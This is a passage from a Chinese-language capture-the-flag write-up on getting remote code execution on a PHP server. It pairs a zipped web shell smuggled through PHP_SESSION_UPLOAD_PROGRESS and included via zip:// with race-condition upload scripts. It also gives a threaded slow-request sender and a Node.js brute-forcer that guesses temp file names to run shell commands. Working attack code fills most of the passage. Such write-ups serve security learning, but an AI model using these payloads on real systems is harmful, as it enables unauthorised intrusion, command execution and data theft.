所以方法就只要在 PHP_SESSION_UPLOAD_PROGRESS 的裡面塞 zip_data[16:] 即可,至於檔案存在時間很短的部分就用 race condition 去試即可。

最後去造訪 ?yyyx=zip:///tmp/sess_maple%23shell&cmd=ls 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import string
import random
import os
import requests


with open("a", "w") as f:
# Write a big file
f.write(
"".join([random.choice(string.ascii_lowercase) for i in range(1024 * 1024)])
)

with open("shell.php", "w") as f:
f.write('@<?php\nsystem($_GET["cmd"]);')

os.system("zip payload.zip shell.php")

with open("payload.zip", "rb") as f:
zip = f.read()


while True:
f = open("a", "rb")
requests.post(
"http://111.186.59.2:50081/",
cookies={"PHPSESSID": "maple"},
data={"PHP_SESSION_UPLOAD_PROGRESS": zip[16:]},
files={"f": f},
)
f.close()

# http://111.186.59.2:50081/?yxxx=zip:///tmp/sess_maple%23shell&cmd=cat%20/dd810fc36330c200a_flag/flag

zip:// 並不是一直都能用的,需要另外安裝 zip 的 extension 才行

一個理論上能成功但機率很低的不同做法

比賽時我還有參考了 Return of One line PHP,裡面因為 session.upload_progress.enabled = Off 的關係所以沒辦法有 sess_xxx 的檔案。

裡面用的方法是把 payload 改放到上傳的檔案之中,然後透過 php 的 bug 讓它 segfault,這樣上傳的暫存檔案 phpXXXXXX 就會被留在資料夾之中。

然而這題的 php 版本較新,沒辦法用那個 bug 去強制留下檔案。我這邊就手動用 socket 去控制 request 的傳送時間,讓它很慢才結束,這樣檔案就會留久一點,比較有機會暴力成功。

手動用 socket 控制 request 時間的腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import remote, context, sleep
import string
import random
from threading import Thread


def randstr(n):
return "".join(random.choice(string.ascii_lowercase) for _ in range(n))


with open("payload.zip", "rb") as f:
zip = f.read()


def zip_data(name):
return (
f"""--------------------------606f6c40cdbf678a\r
Content-Disposition: form-data; name="file"; filename="{name}"\r
Content-Type: application/octet-stream\r
\r
""".encode()
+ zip
+ b"\r\n"
)


body = (
b"""--------------------------606f6c40cdbf678a\r
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r
\r
"""
+ zip
+ b"""\r
"""
+ b"".join([zip_data(randstr(10)) for i in range(40)])
+ b"""
--------------------------606f6c40cdbf678a\r
Content-Disposition: form-data; name="b"\r
\r
"""
+ b"a" * 1024
+ b"""\r
--------------------------606f6c40cdbf678a--\r
"""
)
header = f"""POST / HTTP/1.1\r
Host: 111.186.59.2:50082\r
User-Agent: curl/7.71.1\r
Accept: */*\r
Cookie: PHPSESSID=c8763fast\r
Content-Length: {len(body)}\r
Content-Type: multipart/form-data; boundary=------------------------606f6c40cdbf678a\r
\r
"""

print(hex(len(header)))
print(hex(len(body)))

CHKSIZE = 16
chunks = [body[i : i + CHKSIZE] for i in range(0, len(body), CHKSIZE)]
# print([len(x) for x in chunks])


def brute():
context.log_level = "error"
try:
# io = remote("127.0.0.1", 8763)
io = remote("111.186.59.2", 50082)
io.send(header)
for x in chunks[:-4]:
io.send(x)
for x in chunks[-4:]:
sleep(5)
io.send(x)
io.close()
except:
pass


for i in range(100):
Thread(target=brute).start()

暴力搜尋的腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const xf = require('xfetch-js')
const { default: PQueue } = require('p-queue')

const CMD = 'ls;cat f*;cat /f*'

function makeid(length) {
var result = ''
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
var charactersLength = characters.length
for (var i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() * charactersLength))
}
return result
}

const getRandToken = () => 'php' + makeid(6)

const request = token =>
xf
.get(`http://111.186.59.2:50082/?yxxx=zip:///tmp/${token}%23shell&cmd=${encodeURIComponent(CMD)}`)
.then(r => r.text())
.then(t => [`http://111.186.59.2:50082/?yxxx=zip:///tmp/${token}%23shell&cmd=${encodeURIComponent(CMD)}`, t])
.catch(() => false)

const handler = x => {
if (x) {
const [u, t] = x
if (t.includes('flag{')) {
console.log(u, t)
process.exit()
}
if (t.includes('SUCCESS')) {
console.log(u, t)
process.exit()
}
}
}

;(async () => {
let total = 0
const queue = new PQueue({ concurrency: 20 })
function addTask() {
if (total % 100 === 0) {
console.log(total)
}
total += 1
queue.add(() => request(getRandToken()).then(handler).then(addTask))
}
for (let i = 0; i < 20; i++) {
addTask()
}
queue.start()
})()

我跑這兩個腳本好幾個小時都沒成功 QQ